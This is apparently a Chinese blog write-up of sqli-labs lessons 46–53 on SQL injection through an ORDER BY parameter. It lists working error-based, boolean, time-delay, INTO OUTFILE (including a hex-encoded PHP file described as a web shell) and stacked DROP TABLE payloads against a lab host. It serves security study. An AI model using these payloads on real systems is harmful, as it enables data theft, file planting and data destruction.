Sqli-labs Less46-53 order by 后的注入

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Oeder By 后的注入

注入原理

?sort=1 desc
?sort=1 asc

显示结果不同,说明可以注入

desc是 descend 降序意思

asc 是 ascend 升序意思

可利用 order by 后的一些参数进行注入

2.1 order by 后的数字可以作为一个注入点。

  1. order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

    ?sort=right(version(),1)

    ?sort=left(version(),1)

    没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。

    此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式:

    1. 直接添加注入语句,?sort=(select ***)

    2. 利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)

      Ps:此处我们可以展示一下 rand(true)和 rand(false)的结果是不一样的。

      ?sort=rand(true)

      ?sort=rand(false)

    3. 利用 and,例如 ?sort=1 and (加 sql 语句)。

      同时,sql 语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

  2. 报错注入例子

    ?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

  3. rand() 例子

    ?sort=rand(ascii(left(database(),1))=115)

    ?sort=rand(ascii(left(database(),1))=116)

    从上述两个图的结果,对比 rand(ture) 和 rand(false) 的结果,可以看出报错注入是成功的

  4. 延时注入例子

    ?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))

  5. 同时也可以用 ?sort=1 and 后添加注入语句

    ?sort=1 and left(database(),2)>‘sa’–+

2.2 procedure analyse 参数后注入

利用 procedure analyse 参数,我们可以执行报错注入。

同时,在 procedure analyse 和 order by 之间可以存在limit 参数,

我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 rocedure analyse 进行注入。

?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

2.3 将查询结果导入到文件当中

将查询结果导入到文件当中

?sort=1 into outfile "/tmp/test1.txt"

查看文件

root@ubuntu:# cat /tmp/test1.txt 
	1	Dumb	Dumb
	2	Angelina	I-kill-you
	3	Dummy	p@ssword
	4	secure	crappy
	5	stupid	stupidity
	6	superman	genious
	7	batman	mob!le
	8	admin	admin
	9	admin1	admin1
	10	admin2	admin2
	11	admin3	admin3
	12	dhakkan	dumbo
	14	admin4	admin4
	38	less38	hello
	39	less39	hello
	40	less40	hello
	109	hello	hello
	110	less41	hello
	144	less44	hello

Less - 46: GET - Error based - Numeric - ORDER BY CLAUSE

1. 源代码

	$id=$_GET['sort'];
    $sql = "SELECT * FROM users ORDER BY $id";

从上述的 sql 语句中我们可以看出,我们的注入点在 order by 后面的参数中,而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入。

2. 测试漏洞

http://10.10.10.137/sqli-labs/Less-46/?sort=1 desc
http://10.10.10.137/sqli-labs/Less-46/?sort=1 asc

显示结果不同,说明可以注入

3. 注入

可利用 order by 后的一些参数进行注入

3.1 order by 后的数字可以作为一个注入点。

  1. order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

     http://10.10.10.137/sqli-labs/Less-46/?sort=right(version(),1)
     http://10.10.10.137/sqli-labs/Less-46/?sort=left(version(),1)
    

    没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。

    此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式:

    1. 直接添加注入语句,?sort=(select ***)

    2. 利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)

      Ps:此处我们可以展示一下 rand(true)和 rand(false)的结果是不一样的。

       http://10.10.10.137/sqli-labs/Less-46/?sort=rand(true)
       http://10.10.10.137/sqli-labs/Less-46/?sort=rand(false)
      
    3. 利用 and,例如 ?sort=1 and (加 sql 语句)。

      同时,sql 语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

  2. 报错注入例子

     http://10.10.10.137/sqli-labs/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
    

  3. rand() 演示

     http://10.10.10.137/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
    

     http://10.10.10.137/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)
    

    从上述两个图的结果,对比 rand(ture) 和 rand(false) 的结果,可以看出报错注入是成功的

  4. 延时注入例子

     http://10.10.10.137/sqli-labs/Less-46/?sort= (SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
    
     http://10.10.10.137/sqli-labs/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
    
  5. 同时也可以用 ?sort=1 and 后添加注入语句

     http://10.10.10.137/sqli-labs/Less-46/?sort=1 and left(database(),2)>'sa'--+
    

3.2 procedure analyse 参数后注入

利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 rocedure analyse 进行注入。

http://10.10.10.137/sqli-labs/Less-46/?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

3.3

将查询结果导入到文件当中

http://10.10.10.137/sqli-labs/Less-46/?sort=1 into outfile "/tmp/test1.txt"

查看文件

root@ubuntu:# cat /tmp/test1.txt 
	1	Dumb	Dumb
	2	Angelina	I-kill-you
	3	Dummy	p@ssword
	4	secure	crappy
	5	stupid	stupidity
	6	superman	genious
	7	batman	mob!le
	8	admin	admin
	9	admin1	admin1
	10	admin2	admin2
	11	admin3	admin3
	12	dhakkan	dumbo
	14	admin4	admin4
	38	less38	hello
	39	less39	hello
	40	less40	hello
	109	hello	hello
	110	less41	hello
	144	less44	hello

Less - 47: GET - Error based - String - ORDER BY CLAUSE

  1. 源代码

     $id=$_GET['sort'];
     $sql = "SELECT * FROM users ORDER BY '$id'";
    
  2. order by 后的参数

    我们只能使用and 来进行报错和延时注入。

    1. 和 and rand 相结合的方式

       http://10.10.10.137/sqli-labs/Less-47/index.php?sort=1'and rand(ascii(left(database(),1))=115)--+
      

       http://10.10.10.137/sqli-labs/Less-47/index.php?sort=1'and rand(ascii(left(database(),1))=116)--+
      

      此处后期经过测试,还是存在问题的,我们不能使用这种方式进行准确的注入。此处留下只是一个示例。

    2. 可以利用报错的方式进行

       http://10.10.10.137/sqli-labs/Less-47/?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
      

      可以看到 user()的内容,同时可以构造其他的语句进行注入。

      这里再放一个报错注入,原理和上面的payload 是一样的,都是利用的mysql 重复项的原理。

       http://10.10.10.137/sqli-labs/Less-47/?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
      

      此处重复了version(),所以就爆出了版本号

    3. 延时注入

       http://10.10.10.137/sqli-labs/Less-47/?sort=1'and If(ascii(substr(database(),1,1))=115,0,sleep(5))--+
      

      这里因 database() 为 security,所以第一个字母的 s 的 ascii 为 115,此处直接显示,当改为 116 或者其他的数字的时候,就要延时了,我们这里就不贴图展示了,可以通过脚本爆破

  3. procedure analyse 参数后注入

    利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。

     http://10.10.10.137/sqli-labs/Less-47/?sort=1' procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
    
  4. 导入导出文件into outfile 参数

     http://10.10.10.137/sqli-labs/Less-47/?sort=1'into outfile "/tmp/test2.txt"--+
    

    将查询结果导入到文件当中

     root@ubuntu:# cat /tmp/test2.txt 
     	1	Dumb	Dumb
     	2	Angelina	I-kill-you
     	3	Dummy	p@ssword
     	4	secure	crappy
     	5	stupid	stupidity
     	6	superman	genious
     	7	batman	mob!le
     	8	admin	admin
     	9	admin1	admin1
     	10	admin2	admin2
     	11	admin3	admin3
     	12	dhakkan	dumbo
     	14	admin4	admin4
    
  5. 那这个时候我们可以考虑上传网马,利用lines terminated by

    Into outtfile /tmp/test3.txt lines terminated by 0x(网马进行 16 进制转换)

    将 进行 十六进制编码 0x3c3f70687020706870696e666f28293b3f3e2020

     http://10.10.10.137/sqli-labs/Less-47/?sort=1'into outfile "/tmp/test3.php"lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
    

    可以搭配其他漏洞访问这个页面

Less - 48: GET - Error based - Blind- Numeric- ORDER BY CLAUSE##

  1. 原理

    本关与less-46 的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。

    可以利用sort=rand(true/false)进行判断。

  2. 源代码

     $id=$_GET['sort'];
     $sql = "SELECT * FROM users ORDER BY $id";
    
  3. 测试

     http://10.10.10.137/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=178)
    

     http://10.10.10.137/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=115)
    

    And 后的延时注入

     http://10.10.10.137/sqli-labs/Less-48/?sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,sleep(5)))
    

    导入导出文件注入

     http://127.0.0.1/sqllib/Less-48/?sort=1 into outfile "/tmp/test4.txt"--+
    

     root@ubuntu:/# cat /tmp/test4.txt 
     	1	Dumb	Dumb
     	2	Angelina	I-kill-you
     	3	Dummy	p@ssword
     	4	secure	crappy
     	5	stupid	stupidity
     	6	superman	genious
     	7	batman	mob!le
     	8	admin	admin
     	9	admin1	admin1
     	10	admin2	admin2
     	11	admin3	admin3
     	12	dhakkan	dumbo
    

Less - 49: GET - Error based - String- Blind - ORDER BY CLAUSE##

  1. 源代码

     $id=$_GET['sort'];
     $sql = "SELECT * FROM users ORDER BY '$id'";
    
  2. 测试

    本关与47 关基本类似,区别在于没有错误回显,所以我们可以通过延时注入和导入文件进行注入。

    利用延时注入

     Less-49/?sort=1' and (If(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))--+
    

    可以构造substr 的第一个参数进行后续注入

    利用 into outfile 进行注入

     http://10.10.10.137/sqli-labs/Less-49/?sort=1'into outfile "/tmp/test5.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
    

    可以搭配其他漏洞访问 /tmp/test5.php

Less - 50: GET - Error based - ORDER BY CLAUSE -numeric - Stacked Injection##

  1. 源代码

     $id=$_GET['sort'];
     $sql="SELECT * FROM users ORDER BY $id";
    
  2. 原理

    从本关开始我们开始进行order by stacked injection

    执行 sql 语句我们这里使用的是 mysqli_multi_query()函数,而之前我们使用的是 mysqli_query(),区别在于 mysqli_multi_query()可以执行多个 sql 语句,而 mysqli_query()只能执行一个sql 语句,那么我们此处就可以执行多个sql 语句进行注入,也就是我们之前提到的 statcked injection。

  3. 测试

     http://10.10.10.137/sqli-labs/Less-50/?sort=1;create table less50 like users
    

    已经创建了一个表 less50

     mysql> show tables;
     +--------------------+
     | Tables_in_security |
     +--------------------+
     | emails             | 
     | less50             | 
     | referers           | 
     | uagents            | 
     | users              | 
     +--------------------+
     5 rows in set (0.00 sec)
    
     http://10.10.10.137/sqli-labs/Less-50/?sort=1;droptable less50
    

    已经删除了表 less50

     mysql> show tables;
     +--------------------+
     | Tables_in_security |
     +--------------------+
     | emails             | 
     | referers           | 
     | uagents            | 
     | users              | 
     +--------------------+
     5 rows in set (0.00 sec)
    

Less - 51: GET - Error based - ORDER BY CLAUSE-String - Stacked Injection

  1. 源代码

     $id=$_GET['sort'];
     $sql="SELECT * FROM users ORDER BY '$id'";
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-51/?sort=1';create table less51 like users--+
    

    发现已经创建了一个表 less51

     mysql> show tables;
     +--------------------+
     | Tables_in_security |
     +--------------------+
     | emails             | 
     | less51             | 
     | referers           | 
     | uagents            | 
     | users              | 
     +--------------------+
     6 rows in set (0.00 sec)
    
    
     http://10.10.10.137/sqli-labs/Less-51/?sort=1';drop table less51--+
    

    发现已经删除了一个表 less51

     mysql> show tables;
     +--------------------+
     | Tables_in_security |
     +--------------------+
     | emails             | 
     | referers           | 
     | uagents            | 
     | users              | 
     +--------------------+
     6 rows in set (0.00 sec)
    

Less - 52: GET - Blind based - ORDER BY CLAUSE -numeric - Stacked Injection##

  1. 源代码

     $id=$_GET['sort'];
     $sql="SELECT * FROM users ORDER BY $id";
    
  2. 测试

    和 less50 是一样的,只是这里的 mysql 错误不会在前台显示,但是对于 stacked injection 是一样的利用方式

     http://10.10.10.137/sqli-labs/Less-52/?sort=1;create table less52 like users
    

    发现已经创建了一个表 less52

     mysql> show tables;
     +--------------------+
     | Tables_in_security |
     +--------------------+
     | emails             | 
     | less52             | 
     | referers           | 
     | uagents            | 
     | users              | 
     +--------------------+
     5 rows in set (0.00 sec)
    

    删除表 less52

     http://10.10.10.137/sqli-labs/Less-52/?sort=1;drop table less52
    

    已经删除了表 less52

     mysql> show tables;
     +--------------------+
     | Tables_in_security |
     +--------------------+
     | emails             | 
     | referers           | 
     | uagents            | 
     | users              | 
     +--------------------+
     4 rows in set (0.00 sec)
    

Less - 53: GET - Blind based - ORDER BY CLAUSE-String - Stacked Injection##

  1. 源代码

     $id=$_GET['sort'];
     $sql="SELECT * FROM users ORDER BY '$id'";
    
  2. 测试

    和 less51 是一样的,只是这里的 mysql 错误不会在前台显示,但是对于 stacked injection 是一样的利用方式

     http://10.10.10.137/sqli-labs/Less-53/?sort=1';create table less53 like users--+
    

    发现创建了表 less53

     mysql> show tables;
     +--------------------+
     | Tables_in_security |
     +--------------------+
     | emails             | 
     | less53             | 
     | referers           | 
     | uagents            | 
     | users              | 
     +--------------------+
     5 rows in set (0.00 sec)
    

    测试

     http://10.10.10.137/sqli-labs/Less-53/?sort=1';drop table less53 --+
    

    发现已经删除了 less53

     mysql> show tables;
     +--------------------+
     | Tables_in_security |
     +--------------------+
     | emails             | 
     | referers           | 
     | uagents            | 
     | users              | 
     +--------------------+
     4 rows in set (0.00 sec)
    

你可能感兴趣的:(web安全)